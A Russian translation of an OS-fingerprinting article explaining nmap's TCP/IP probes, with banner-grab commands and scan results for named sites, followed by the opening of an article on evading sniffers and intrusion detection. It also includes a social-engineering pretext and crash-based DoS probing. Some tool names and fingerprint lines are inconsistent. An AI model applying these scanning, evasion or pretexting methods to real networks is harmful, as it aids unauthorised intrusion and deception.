Более тревожный сценарий — когда кто-то заблаговременно сканирует 500 000 хостов, фиксируя используемые ОС и открытые порты. Затем, когда публикуется, скажем, эксплоит с рутком для демона comsat от Sun, наш злоумышленник может отфильтровать свой список по «UDP/512» и «Solaris 2.6» — и мгновенно получить страницы и страницы взламываемых машин. Стоит заметить, что это типичное поведение SCRIPT KIDDIE. Здесь не продемонстрировано никаких навыков, и никто ни в малейшей степени не впечатлён тем, что вы нашли уязвимую .edu, не успевшую установить патч. Люди будут ещё \_менее\_ впечатлены, если вы воспользуетесь полученным доступом для замены контента сайта кафедры самовосхваляющей тирадой о том, как вы круты и как тупы системные администраторы.

Другое возможное применение — социальная инженерия. Допустим, вы сканируете целевую компанию, и nmap сообщает «Datavoice TxPORT PRISM 3000 T1 CSU/DSU 6.22/2.06». Хакер может позвонить под видом «службы поддержки Datavoice» и обсудить некие проблемы с их PRISM 3000. «Мы собираемся объявить об уязвимости, но сначала хотим, чтобы все наши клиенты установили патч — я только что отправил его вам по почте...» Некоторые наивные администраторы могут решить, что только авторизованный инженер Datavoice мог бы так хорошо разбираться в их CSU/DSU.

Ещё одно возможное применение — оценка потенциальных деловых партнёров. Перед тем как выбрать нового провайдера, просканируйте его и посмотрите, какое оборудование используется. Тарифы «99 долларов в год» звучат уже не так привлекательно, когда выясняется, что у них

слабые роутеры и PPP-услуги реализованы на куче Windows-машин.

---

## Классические техники

Анализ стека решает задачу идентификации ОС уникальным способом. Я считаю, что эта техника наиболее перспективна, однако сейчас существует немало других решений. К сожалению, вот одна из наиболее действенных из них:

```
playground~> telnet hpux.u-aizu.ac.jp
Trying 163.143.103.12...
Connected to hpux.u-aizu.ac.jp.
Escape character is '^['.
```

```
HP-UX hpux B.10.01 A 9000/715 (ttyp2)
```

```
login:
```

Нет смысла прибегать ко всем ухищрениям фингерпринтинга, если машина откровенно сообщает всему миру, что именно на ней работает! К сожалению, многие производители поставляют \_современные\_ системы с подобными баннерами, и многие администраторы не отключают их. То, что существуют другие способы выяснить, какая ОС используется (например, фингерпринтинг), не означает, что мы должны объявлять нашу ОС и архитектуру каждому, кто пытается подключиться.

Проблемы с опорой на эту технику заключаются в том, что всё больше людей отключает баннеры, многие системы не сообщают много информации, и подделать баннеры элементарно. Тем не менее, чтение баннеров — это всё, что вы получаете для проверки ОС и её версии, потратив тысячи долларов на коммерческий сканер ISS. Скачайте nmap или queso и сэкономьте деньги :).

Даже если вы отключите баннеры, многие приложения охотно раскроют эту информацию при запросе. Например, посмотрим на FTP-сервер:

```
payfonez> telnet ftp.netscape.com 21
Trying 207.200.74.26...
Connected to ftp.netscape.com.
Escape character is '^['.
220 ftp29 FTP server (UNIX(r) System V Release 4.0) ready.
SYST
215 UNIX Type: L8 Version: SUNOS
```

Во-первых, в баннере по умолчанию уже содержатся сведения о системе. Затем, если мы введём команду «SYST», она с готовностью вернёт ещё больше информации.

Если поддерживается анонимный FTP, мы нередко можем скачать /bin/lis или другие бинарники и определить, под какую архитектуру они собраны.

Многие другие приложения также слишком свободно обращаются с информацией. Возьмём, например, веб-серверы:

```
playground> echo 'GET / HTTP/1.0\n' | nc hotbot.com 80 | egrep '^Server:'
Server: Microsoft-IIS/4.0
playground>
```

Хм... интересно, какую ОС используют эти ламеры.

К другим классическим техникам относятся записи host info в DNS (редко эффективны) и социальная инженерия. Если машина прослушивает 161/udp (snmp), с помощью «snmpwalk» из дистрибутива CMU SNMP tools и имени сообщества «public» вы почти гарантированно получите массу подробной информации.

---

## Существующие программы для фингерпринтинга

Nmap — не первая программа распознавания ОС, использующая TCP/IP-фингерпринтинг. Распространённый IRC-спуфер sirc от Johan включал весьма зачаточные техники фингерпринтинга начиная с версии 3 (или ранее). Он пытается классифицировать хост по категориям «Linux», «4.BSD», «Win95» или «Unknown», используя несколько простых тестов TCP-флагов.

Ещё одна такая программа — checkos, опубликованная в январе того же года Shok из Team CodeZero в Confidence Remains High Issue #7. Техники фингерпринтинга точно такие же, как в SIRC, и даже \_код\_ во многих местах идентичен. Checkos была в частном доступе долгое время до публичного выпуска, так что понятия не имею, кто у кого позаимствовал код. Но ни один из них не указывает на другого. Одно, что checkos добавляет, — это проверка telnet-баннера, что полезно, но имеет проблемы, описанные ранее.

Su1d также написал программу проверки ОС. Она называется SS и в версии 3.11 умеет идентифицировать 12 различных типов ОС. Мне она немного ближе, поскольку автор упоминает мою программу nmap в качестве источника части сетевого кода :).

Затем есть queso. Эта программа — новейшая, и она представляет собой огромный шаг вперёд по сравнению с остальными. Они не только вводят пару новых тестов, но и стали первыми (из тех, что я видел), кто вынес OS-фингерпринты \_за пределы\_ кода. Другие сканеры включали код вроде:

```
/* from ss */
if ((flagsfour & TH_RST) && (flagsfour & TH_ACK) && (winfour == 0) &&
    (flagsthree & TH_ACK))
    reportos(argv[2],argv[3],"Livingston Portmaster ComOS");
```

Вместо этого queso переносит всё это в конфигурационный файл, что, очевидно, значительно лучше масштабируется и делает добавление ОС таким же простым, как дописать несколько строк в файл фингерпринтов.

Queso написан Savage — одним из хороших людей из Apostols.org.

Одна проблема со всеми вышеописанными программами заключается в том, что они сильно ограничены в количестве тестов фингерпринтинга, что снижает детализацию ответов. Я хочу знать не просто «эта машина работает на OpenBSD, FreeBSD или NetBSD», а именно какая из них, а также иметь представление о номере версии выпуска. Точно так же я предпочту видеть «Solaris 2.6», а не просто «Solaris». Для достижения такой детализации ответов я работал над рядом техник фингерпринтинга, которые описаны в следующем разделе.

---

## Методология фингерпринтинга

Существует очень много техник для фингерпринтинга сетевых стеков. По сути, вы просто ищете вещи, которые различаются между операционными системами, и создаёте зонд для выявления этого различия. Если комбинировать достаточно много таких зондов, можно очень точно сузить круг возможных ОС. Например, nmap надёжно отличает Solaris 2.4 от Solaris 2.5-2.51 и Solaris 2.6. Он также умеет отличать ядро Linux 2.0.30 от 2.0.31-34 или 2.0.35. Вот некоторые техники:

**Зонд FIN** — Отправляем FIN-пакет (или любой пакет без флагов ACK или SYN) на открытый порт и ожидаем ответа. Согласно корректному поведению по RFC793, ответа быть не должно, однако многие сломанные реализации, такие как MS Windows, BSDI, CISCO, HP/UX, MVS и IRIX, отправляют в ответ RESET. Большинство современных инструментов используют эту технику.

**Зонд с BOGUS-флагом** — Queso — первый сканер, который я видел, использующий этот хитрый тест. Идея состоит в том, чтобы установить неопределённый TCP-«флаг» (64 или 128) в заголовке TCP SYN-пакета. Linux-машины до версии 2.0.35 сохраняют этот флаг установленным в своём ответе. Больше ни у одной ОС этой ошибки мне не встречалось. Однако некоторые операционные системы, похоже, сбрасывают соединение, получив пакет SYN+BOGUS. Такое поведение может быть полезным для их идентификации.

**Выборка ISN (TCP Initial Sequence Number)** — Идея состоит в том, чтобы искать закономерности в начальных порядковых номерах, выбираемых реализациями TCP при ответе на запрос соединения. Их можно разбить на множество групп: традиционный 64K (многие старые UNIX-машины), случайный инкремент (более новые версии Solaris, IRIX, FreeBSD, Digital UNIX, Cray и многих других), истинно «случайный» (Linux 2.0.\*, OpenVMS, более новый AIX и т.д.). Windows-машины (и некоторые другие) используют «зависящую от времени» модель, при которой ISN увеличивается на небольшую фиксированную величину за каждый период времени. Излишне говорить, что это почти так же легко взломать, как и старое поведение 64K. Конечно, моя любимая техника — «константный» ISN. Машины ВСЕГДА используют один и тот же ISN :). Я видел такое у некоторых концентраторов 3Com (используют 0x803) и принтеров Apple LaserWriter (используют 0xC7001).

Можно также разбивать группы на подклассы, например, «случайный инкремент», вычисляя дисперсии, наибольшие общие делители и другие функции на множестве порядковых номеров и разностей между ними.

Следует отметить, что генерация ISN имеет важные последствия для безопасности. За дополнительной информацией обратитесь к «эксперту по безопасности» Цутому «Shimmy» Shimomura из SDSC и спросите, как его взломали. Nmap — первая виденная мной программа, использующая это для идентификации ОС.

**Бит «Don't Fragment»** — Многие операционные системы начали устанавливать IP-бит «Don't Fragment» в некоторых отправляемых пакетах. Это даёт различные преимущества в производительности (хотя и может быть раздражающим — вот почему сканирование фрагментами в nmap не работает с Solaris-машин). В любом случае, не все ОС делают это, и некоторые делают в разных случаях, поэтому, обращая внимание на этот бит, мы можем извлечь ещё больше информации о целевой ОС. Я не встречал, чтобы кто-то использовал это раньше.

**Начальный размер окна TCP** — Здесь просто проверяется размер окна в возвращаемых пакетах. Более старые сканеры использовали ненулевое окно в RST-пакете как признак «производного от BSD 4.4». Более новые сканеры, такие как queso и nmap, отслеживают точное значение окна, поскольку оно весьма постоянно для каждого типа ОС. Этот тест фактически даёт нам много информации, поскольку некоторые операционные системы можно однозначно идентифицировать только по окну (например, AIX — единственная ОС, у которой я видел значение 0x3F25). В своём «полностью переписанном» стеке TCP для NT5 Microsoft использует 0x402E. Интересно, что это точно то же число, что используют OpenBSD и FreeBSD.

**Значение ACK** — Хотя можно было бы ожидать полной стандартизации, реализации отличаются в том, какое значение они используют для поля ACK в некоторых случаях. Например, допустим, вы отправляете FIN|PSH|URG на закрытый TCP-порт. Большинство реализаций установят ACK равным вашему начальному порядковому номеру, тогда как Windows и некоторые тупые принтеры отправят ваш seq + 1. Если вы отправите SYN|FIN|URG|PSH на открытый порт, Windows ведёт себя очень непоследовательно. Иногда она отправляет ваш seq, иногда S++, а иногда — вроде бы случайное значение. Поневоле задумываешься, какой же код пишет MS, что он столь непостоянен.

**Подавление ICMP-сообщений об ошибках** — Некоторые (умные) операционные системы следуют рекомендации RFC 1812 об ограничении скорости отправки различных сообщений об



ошибках. Например, ядро Linux (в `net/ipv4/icmp.h`) ограничивает генерацию сообщений «destination unreachable» до 80 за 4 секунды, с штрафом в 1/4 секунды при превышении. Один из способов проверить это — отправить пачку пакетов на какой-нибудь случайный UDP-порт с высоким номером и подсчитать количество полученных сообщений о недостижимости. Я не видел, чтобы это использовалось раньше, и фактически я не добавил это в `ntar` (кроме использования при UDP-сканировании портов). Этот тест немного замедлил бы определение ОС, поскольку нужно отправить кучу пакетов и ждать их возврата. Также пришлось бы иметь дело с возможностью потери пакетов в сети.

**Цитирование ICMP-сообщений** — RFC указывают, что ICMP-сообщения об ошибках цитируют небольшую часть ICMP-сообщения, вызвавшего различные ошибки. Для сообщения «port unreachable» почти все реализации отправляют обратно только обязательный IP-заголовок + 8 байт. Однако Solaris отправляет чуть больше, а Linux — ещё больше. Прелесть этого в том, что это позволяет `ntar` распознавать хосты Linux и Solaris, даже если на них нет ни одного прослушивающего порта.

**Целостность ICMP-сообщений об ошибках** — Эта идея позаимствована у Тео де Раадта (ведущего разработчика OpenBSD), который опубликовал её на `comp.security.unix`. Как упоминалось ранее, машины должны отправить обратно часть исходного сообщения вместе с ошибкой «port unreachable». Однако некоторые машины склонны использовать ваши заголовки как «черновое пространство» при первоначальной обработке, поэтому к тому моменту, когда они возвращаются, они несколько искажены. Например, AIX и BSDI отправляют обратно IP-поле «total length», которое на 20 байт больше. Некоторые BSDI, FreeBSD, OpenBSD, ULTRIX и VAX портят IP ID, который вы им отправили. Хотя контрольная сумма всё равно изменится из-за изменённого TTL, существуют машины (AIX, FreeBSD и др.), которые отправляют обратно непоследовательную или нулевую контрольную сумму. То же самое касается UDP-контрольной суммы. В итоге `ntar` выполняет девять различных тестов ICMP-ошибок, чтобы выявить подобные тонкие различия.

**Тип сервиса (TOS)** — Для ICMP-сообщений «port unreachable» я смотрю на значение типа сервиса (TOS) возвращённого пакета. Почти все реализации используют 0 для этой ICMP-ошибки, однако Linux использует 0xC0. Это не указывает на одно из стандартных значений TOS, а является частью поля приоритета, которое (насколько мне известно) не используется. Не знаю, почему оно установлено, но если они изменят его на 0, мы сможем продолжать идентифицировать старые версии `_и_` сможем различать старые и новые.

**Обработка фрагментации** — Это любимая техника Томаса Х. Птачека из Secure Networks, Inc (теперь принадлежащей куче пользователей Windows в NAI). Она использует тот факт, что различные реализации нередко по-разному обрабатывают перекрывающиеся IP-фрагменты. Одни будут перезаписывать старые части новыми, в других случаях приоритет имеют старые данные. Существует много различных зондов, которые можно использовать для определения того, как был пересобран пакет. Я не добавил эту возможность, поскольку не знаю переносимого способа отправки IP-фрагментов (в частности, это неудобно делать на Solaris). Для получения дополнительной информации о перекрывающихся фрагментах можно прочитать их статью про IDS ([www.secnet.com](http://www.secnet.com)).

**TCP-опции** — Это настоящий золотой рудник с точки зрения утечки информации. Прелесть этих опций в том, что:

1. Они, как правило, необязательны (дуду!) :), поэтому не все хосты их реализуют.
2. Можно узнать, реализует ли хост их, отправив запрос с установленной опцией. Цель обычно подтверждает поддержку опции, устанавливая её в ответе.
3. Можно запихнуть кучу опций в один пакет, чтобы протестировать всё сразу.

`Ntar` отправляет следующие опции почти с каждым зондирующим пакетом:

```
Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops;
```

Получив ответ, вы смотрите, какие опции были возвращены и таким образом поддерживаются. Некоторые операционные системы, например, последние версии FreeBSD, поддерживают все вышеперечисленные, тогда как другие, например, Linux 2.0.X — очень немногие. Последние ядра Linux 2.1.x поддерживают все вышеперечисленные. С другой стороны, они более уязвимы к предсказанию TCP-последовательностей. Вот так.

Даже если несколько операционных систем поддерживают одинаковый набор опций, их иногда можно различить по \_значениям\_ опций. Например, если вы отправите небольшое значение MSS Linux-машине, она, как правило, вернёт вам то же самое MSS. Другие хосты дадут разные значения.

И даже если вы получаете одинаковый набор поддерживаемых опций И одинаковые значения, вы всё равно можете дифференцировать их по \_порядку\_, в котором указаны опции, и по применению заполнения. Например, Solaris возвращает «NNTNWMЕ», что означает:

```
<no op><no op><timestamp><no op><window scale><echoed MSS>
```

Тогда как Linux 2.1.122 возвращает MENNTNW. Те же опции, те же значения, но другой порядок!

Я не видел, чтобы другие инструменты определения ОС использовали TCP-опции, но это очень полезно.

Есть ещё несколько других полезных опций, которые я, возможно, исследую в какой-то момент, например, поддерживающие T/TCP и выборочные подтверждения.

**Хронология exploits** — Даже со всеми вышеперечисленными тестами nmap не может различить стеки TCP Win95, WinNT и Win98. Это довольно удивительно, особенно учитывая, что Win98 вышла примерно через 4 года после Win95. Можно было бы ожидать, что они удосужились каким-то образом улучшить стек (например, добавив поддержку большего числа TCP-опций), и тогда мы смогли бы обнаружить изменение и различить операционные системы. К сожалению, это не так. Стек NT — это, по всей видимости, тот же кривой стек, что они вставили в '95. И они не удосужились обновить его для '98.

Но не стоит отчаиваться, ибо есть решение. Можно просто начать с ранних DOS-атак на Windows (Ping of Death, Winnuke и т.д.) и постепенно переходить к более поздним атакам, таким как Teardrop и Land. После каждой атаки проверяйте их пингом, не рухнули ли они. Когда вы наконец уложите их, вы, вероятно, сузите круг до одного сервис-пака или хотфикса.

Я не добавил эту функциональность в nmap, хотя должен признать, что соблазн велик :).

**Устойчивость к SYN-флуду** — Некоторые операционные системы прекращают принимать новые соединения, если отправить им слишком много поддельных SYN-пакетов (подделка пакетов позволяет избежать того, чтобы ваше ядро не сбрасывало соединения). Многие операционные системы могут обработать лишь 8 пакетов. Последние ядра Linux (и ряд других ОС) допускают различные методы, такие как SYN cookies, для предотвращения превращения этого в серьёзную проблему. Таким образом, можно узнать кое-что о целевой ОС, отправив 8 пакетов с поддельным адресом источника на открытый порт, а затем проверив, можно ли самостоятельно установить соединение с этим портом. Это не было реализовано в nmap, поскольку некоторые люди огорчаются, когда их подвергают SYN-флуду. Даже объяснение, что вы всего лишь пытались определить, какую ОС они используют, может не помочь их успокоить.

---

## Реализация в nmap и результаты

Я создал эталонную реализацию описанных выше техник определения ОС (за исключением тех, которые я сказал не включать). Я добавил её в свой сканер Nmap, который имеет то преимущество, что уже знает, какие порты открыты, а какие закрыты для фингерпринтинга, так что сообщать ему это не нужно. Он также переносим между Linux, \*BSD и Solaris 2.51 и 2.6, и некоторыми другими операционными системами.

Новая версия nmap считывает файл с шаблонами фингерпринтов, следующих простой грамматике. Вот пример:

```
FingerPrint IRIX 6.2 - 6.4 # Thanks to Lamont Granquist
TSeq(Class=i800)
T1 (DF=N%W=C000|EF2A%ACK=S++%Flags=AS%Ops=MNWNNT)
T2 (Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
T3 (Resp=Y%DF=N%W=C000|EF2A%ACK=O%Flags=A%Ops=NNT)
T4 (DF=N%W=0%ACK=O%Flags=R%Ops=)
T5 (DF=N%W=0%ACK=S++%Flags=AR%Ops=)
T6 (DF=N%W=0%ACK=O%Flags=R%Ops=)
T7 (DF=N%W=0%ACK=S%Flags=AR%Ops=)
PU (DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)
```

Рассмотрим первую строку (добавляю маркеры цитирования «>»):

```
> FingerPrint IRIX 6.2 - 6.3 # Thanks to Lamont Granquist
```

Это просто говорит, что фингерпринт охватывает IRIX версий 6.2–6.3, и комментарий указывает, что Lamont Granquist любезно прислал IP-адреса или фингерпринты протестированных IRIX-машин.

```
> TSeq(Class=i800)
```

Это означает, что выборка ISN отнесла его к «классу i800». Это означает, что каждый новый порядковый номер является кратным 800, большим, чем предыдущий.

```
> T1 (DF=N%W=C000|EF2A%ACK=S++%Flags=AS%Ops=MNWNNT)
```

Тест называется T1 (для «test1», очень изобретательно, да?). В этом тесте мы отправляем SYN-пакет с кучей TCP-опций на открытый порт. DF=N означает, что бит «Don't fragment» в ответе не должен быть установлен. W=C000|EF2A означает, что объявление окна в ответе должно быть 0xC000 или EF2A. ACK=S++ означает, что полученное подтверждение должно быть равно нашему начальному порядковому номеру плюс 1. Flags=AS означает, что в ответе были установлены флаги ACK и SYN. Ops=MNWNNT означает, что опции в ответе должны быть (в таком порядке):

```
<MSS (not echoed)><NOP><Window scale><NOP><NOP><Timestamp>
```

```
> T2 (Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
```

Тест 2 включает NULL с теми же опциями на открытый порт. Resp=Y означает, что мы должны получить ответ. Ops= означает, что в ответном пакете не должно быть никаких опций. Если мы полностью уберём «%Ops=», то любые отправленные опции будут соответствовать.

```
> T3 (Resp=Y%DF=N%W=400%ACK=S++%Flags=AS%Ops=M)
```

Тест 3 — SYN|FIN|URG|PSH с опциями на открытый порт.

```
> T4 (DF=N%W=0%ACK=O%Flags=R%Ops=)
```

Это ACK на открытый порт. Заметьте, что здесь нет Resp=. Это означает, что отсутствие ответа (например, из-за потери пакета в сети или злобного брандмауэра) не дисквалифицирует совпадение, если все остальные тесты совпадают. Мы делаем это потому, что практически любая ОС пошлёт ответ, поэтому отсутствие ответа, как правило, является атрибутом условий сети, а не самой ОС. Мы ставим тег Resp в тестах 2 и 3, поскольку некоторые операционные системы действительно сбрасывают их без ответа.

```
> T5 (DF=N%W=0%ACK=S++%Flags=AR%Ops=)
```

```
> T6 (DF=N%W=0%ACK=O%Flags=R%Ops=)
```

```
> T7 (DF=N%W=0%ACK=S%Flags=AR%Ops=)
```

Эти тесты — соответственно SYN, ACK и FIN|PSH|URG на закрытый порт. Те же опции, что всегда. Конечно, всё это, вероятно, очевидно из описательных названий «Т5», «Т6» и «Т7» :).

```
> PU (DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)
```

Этот монстр — тест сообщения «port unreachable». DF=N вам уже знаком. TOS=0 означает, что поле IP type of service было равно 0. Следующие два поля дают (в hex) значения поля IP total length заголовка IP сообщения и полной длины, указанной в эхируемом ими обратно IP-заголовке. RID=E означает, что значение RID, которое мы получили обратно в копии нашего исходного UDP-пакета, соответствовало ожидаемому (т.е. такому же, как мы отправили). RIPCK=E означает, что контрольная сумма не была испорчена (если бы была — значилось бы RIPCK=F). UCK=E означает, что UDP-контрольная сумма также верна. Далее следует UDP-длина, равная 0x134, и DAT=E означает, что они правильно вернули наши UDP-данные. Поскольку большинство реализаций (включая данную) не отправляют обратно никаких наших UDP-данных, они получают DAT=E по умолчанию.

Версия nmap с этой функциональностью находилась в шестом цикле закрытого бета-тестирования. Возможно, она вышла к тому времени, как вы читаете это в Phrack. А может, и нет. Актуальную версию смотрите на <http://www.insecure.org/nmap/>.

---

## Снимки популярных сайтов

Вот занятный результат всех наших усилий. Теперь мы можем взять произвольные интернет-сайты и определить, какую ОС они используют. Многие из них отключили telnet-баннеры и т.д., чтобы скрыть эту информацию. Но нашему новому фингерпринтеру это не помеха! К тому же это хороший способ разоблачить пользователей «вашей любимой кривой ОС» как ламеров :)

Команда, использованная в этих примерах: `nmap -sS -p 80 -O -v`

Также заметьте, что большинство этих сканирований выполнялось 18.10.98. Некоторые из этих сайтов, возможно, с тех пор обновили или сменили серверы.

```
# «Хакерские» сайты или (в паре случаев) сайты, которые мнят себя таковыми
www.l0pht.com      => OpenBSD 2.2 - 2.4
www.insecure.org   => Linux 2.0.31-34
www.rhino9.ml.org   => Windows 95/NT      # Без комментариев :)
www.technotronic.com => Linux 2.0.31-34
www.nmrc.org        => FreeBSD 2.2.6 - 3.0
www.cultdeadcow.com => OpenBSD 2.2 - 2.4
www.kevinmitnick.com => Linux 2.0.31-34 # Free Kevin!
www.2600.com        => FreeBSD 2.2.6 - 3.0 Beta
www.antionline.com  => FreeBSD 2.2.6 - 3.0 Beta
www.rootshell.com   => Linux 2.0.35 # После взлома сменили на OpenBSD.
```

```
# Вендоры систем безопасности, консультанты и т.д.
www.repsec.com      => Linux 2.0.35
www.iss.net          => Linux 2.0.31-34
www.checkpoint.com   => Solaris 2.5 - 2.51
www.infowar.com      => Win95/NT
```

```
# Верность вендоров собственной ОС
www.li.org           => Linux 2.0.35 # Linux International
www.redhat.com        => Linux 2.0.31-34 # Интересно, какой дистрибутив :)
www.debian.org        => Linux 2.0.35
www.linux.org         => Linux 2.1.122 - 2.1.126
www.sgi.com           => IRIX 6.2 - 6.4
www.netbsd.org        => NetBSD 1.3X
www.openbsd.org       => Solaris 2.6      # Хм-хм :)
```

```

www.freebsd.org      => FreeBSD 2.2.6-3.0 Beta

# Лиги плюща
www.harvard.edu      => Solaris 2.6
www.yale.edu         => Solaris 2.5 - 2.51
www.caltech.edu      => SunOS 4.1.2-4.1.4 # Эй! Сейчас 90-е :)
www.stanford.edu     => Solaris 2.6
www.mit.edu          => Solaris 2.5 - 2.51 # Совпадение, что так много
                                     # хороших вузов любят Sun?
                                     # Может, 40%-ная скидка для .edu :)

www.berkeley.edu     => UNIX OSF1 V 4.0,4.0B,4.0D
www.oxford.edu       => Linux 2.0.33-34 # Молодцы!

# Сайты ламеров
www.aol.com          => IRIX 6.2 - 6.4 # Неудивительно, что они так небезопасны :)
www.happyhacker.org  => OpenBSD 2.2-2.4 # Надоело, что взламывают, Кэролин?
                                     # Даже самая безопасная ОС бесполезна
                                     # в руках некомпетентного администратора.

# Прочее
www.lwn.net          => Linux 2.0.31-34 # Отличный новостной сайт о Linux!
www.slashdot.org     => Linux 2.1.122 - 2.1.126
www.whitehouse.gov   => IRIX 5.3
sunsite.unc.edu      => Solaris 2.6

```

Примечания: в своём техническом докладе о безопасности Microsoft написала о своей слабой защите: «это предположение изменилось с годами, поскольку Windows NT набирает популярность в том числе благодаря своим функциям безопасности». Хм, с моей точки зрения, не похоже, что Windows особенно популярна в сообществе безопасности :). Из всей группы я вижу всего 2 Windows-машины, а Windows nmap различает \_легко\_, потому что она сильно сломана (с точки зрения стандартов).

И, конечно, есть ещё один сайт, который мы обязаны проверить. Это веб-сайт сверхсекретной корпорации Transmeta. Интересно, что компания была основана в значительной мере на деньги Пола Аллена из Microsoft, но в ней работает Линус Торвалдс. Так что же они выбирают — стоят ли за Полом и запускают NT или примыкают к бунтарям и вступают в Линукс-революцию? Давайте посмотрим:

Используем команду:

```
nmap -sS -F -o transmeta.log -v -O www.transmeta.com/24
```

Это означает: SYN-сканирование известных портов (из /etc/services), запись результатов в «transmeta.log», подробный вывод, сканирование ОС и сканирование сети класса C, в которой находится www.transmeta.com. Вот суть результатов:

```

neon-best.transmeta.com (206.184.214.10) => Linux 2.0.33-34
www.transmeta.com (206.184.214.11) => Linux 2.0.30
neosilicon.transmeta.com (206.184.214.14) => Linux 2.0.33-34
ssl.transmeta.com (206.184.214.15) => Linux unknown version
linux.kernel.org (206.184.214.34) => Linux 2.0.35
www.linuxbase.org (206.184.214.35) => Linux 2.0.35 ( possibly the same
                                     machine as above )

```

Ну что ж, думаю, это достаточно ясно отвечает на наш вопрос :).

---

## Благодарности

Единственная причина, по которой Nmap в настоящее время способен определять столь много различных операционных систем, — это то, что многие люди из команды закрытого бета-тестирования приложили немало усилий, чтобы разыскать новые и интересные машины для

фингерпринтинга! В особенности Jan Koum, van Hauser, Dmess0r, David O'Brien, James W. Abendschan, Solar Designer, Chris Wilson, Stuart Stock, Mea Culpa, Lamont Granquist, Dr. Who, Jordan Ritter, Brett Eldridge и Pluvius прислали тонны IP-адресов необычных машин и/или фингерпринты машин, недоступных через Интернет.

Спасибо Ричарду Столлману за написание GNU Emacs. Эта статья не была бы так хорошо отформатирована, если бы я использовал vi или cat с ^D.

Вопросы и комментарии можно присылать на [fyodor@DHP.com](mailto:fyodor@DHP.com) (если по какой-то причине это не работает, используйте [fyodor@insecure.org](mailto:fyodor@insecure.org)). Nmap можно получить по адресу <http://www.insecure.org/nmap>.

# Обход sniffеров и систем обнаружения вторжений

Автор: horizon

---

## Обзор

Цель данной статьи — продемонстрировать методы, которые можно использовать для обхода sniffеров и систем обнаружения вторжений (СОБ). В основном статья сосредоточена на введении в заблуждение типичных «хакерских» sniffеров с кратким рассмотрением систем обнаружения вторжений (IDS). Тем не менее описанные методы и приведённый код могут стать хорошей отправной точкой для проведения пакетов мимо систем обнаружения. Для детального изучения техник атак против IDS рекомендуется ознакомиться с материалом по адресу: <http://www.nai.com/products/security/advisory/papers/ids-html/doc000.asp>.

Существует большое количество эффективных техник помимо тех, что реализованы в данной статье. Я выбрал несколько универсальных методов, которые, как хотелось бы надеяться, можно легко развить в более целенаправленные и сложные атаки. После реализации этих атак я попытался сопоставить их с атаками, описанными в статье NAI, где это было уместно.

Коренная причина уязвимостей, рассматриваемых здесь, заключается в том, что большинство sniffеров и IDS не имеют столь же надёжной реализации стека TCP/IP, как машины, которые реально общаются в сети. Многие sniffеры и IDS используют доступ на уровне канала передачи данных — например, BPF, DLPI или SOCK\_PACKET. Sniffer получает весь фрейм канального уровня и не получает от ядра никаких контекстных подсказок о том, как этот фрейм будет интерпретирован. Таким образом, на sniffer возложена задача самостоятельной интерпретации пакета и угадывания того, как ядро принимающей машины его обработает. К счастью, в 95% случаев пакет является корректным, и стек TCP/IP ядра ведёт себя весьма предсказуемо. Именно оставшиеся 5% случаев и будут в центре нашего внимания.

Статья разделена на три раздела: обзор применяемых техник, описание реализации и использования, а также сам код. Там, где это возможно, код реализован в достаточно переносимом формате: в виде разделяемой библиотеки, оборачивающей вызов connect(), которую можно «установить» в обычные клиентские программы с помощью LD\_PRELOAD. Эта разделяемая библиотека использует сырые сокеты для создания TCP-пакетов, что должно работать на большинстве Unix-систем. Однако некоторые описываемые атаки слишком сложны для реализации через сырые сокеты, поэтому прилагаются простые патчи для ядра OpenBSD. Я работаю над аналогичными патчами для Linux, которые будут размещены на сайте rhino9 по завершении. Сайт rhino9: <http://www.rhino9.ml.org/>

---

## Раздел 1. Техники

Первая группа трюков предназначена исключительно для обмана большинства sniffеров и, скорее всего, не окажет существенного влияния на приличную систему обнаружения вторжений. Вторая группа достаточно продвинута, чтобы начать воздействовать на эффективность систем обнаружения вторжений.

## Атаки, специфичные для sniffеров

### 1. Архитектура sniffеров — отслеживание одного хоста

Первая техника крайне проста и эксплуатирует архитектуру многих sniffеров. Ряд хакерских sniffеров спроектирован для отслеживания одного соединения и игнорирования всего остального до тех пор, пока это соединение не будет закрыто или не истечёт внутренний таймаут. Sniffеры, разработанные подобным образом, имеют очень низкий профиль по потреблению памяти и процессорного времени. Однако они очевидным образом пропускают большую часть данных, которые могут быть перехвачены. Это даёт нам простой способ не попасть в журнал: перед установкой нашего соединения мы отправляем поддельный SYN-пакет от несуществующего хоста на тот же порт, к которому пытаемся подключиться. Таким образом, sniffer видит SYN-пакет и, если он прослушивает сеть, настраивает своё внутреннее состояние для мониторинга всех пакетов, относящихся к этому соединению. Затем, когда мы устанавливаем своё соединение, sniffer игнорирует наш SYN, поскольку следит за фиктивным хостом. Когда этот хост впоследствии тайм-аутится, наше соединение не будет зафиксировано в журнале, потому что наш начальный SYN-пакет был отправлен давно.

### 2. Архитектура sniffеров — параметры IP

Следующая техника опирается на безграмотные практики программирования внутри sniffеров. Если посмотреть на код некоторых хакерских sniffеров, в частности основанных на оригинальном linsniffer, можно обнаружить структуру вида:

```
struct etherpacket
{
    etherheader eh;
    ipheader ip;
    tcpheader tcp;
    char data[8192];
};
```

Sniffer считывает пакет с интерфейса канального уровня и помещает его в эту структуру для удобного анализа. В большинстве случаев это работает нормально. Однако такой подход делает ряд допущений: предполагается, что размер IP-заголовка составляет 20 байт, а размер TCP-заголовка — тоже 20 байт. Если отправить IP-пакет с 40 байтами параметров, sniffer будет искать TCP-заголовок внутри IP-параметров и полностью неверно интерпретирует пакет. Если sniffer правильно обрабатывает IP-заголовок, но неправильно — TCP-заголовок, это даёт чуть меньше преимуществ. В такой ситуации sniffer будет записывать лишние 40 байт данных. Я реализовал обязательные IP-параметры в ядре OpenBSD таким образом, что ими можно управлять через sysctl.

### 3. Внедрение — подмена FIN и RST — некорректные порядковые номера

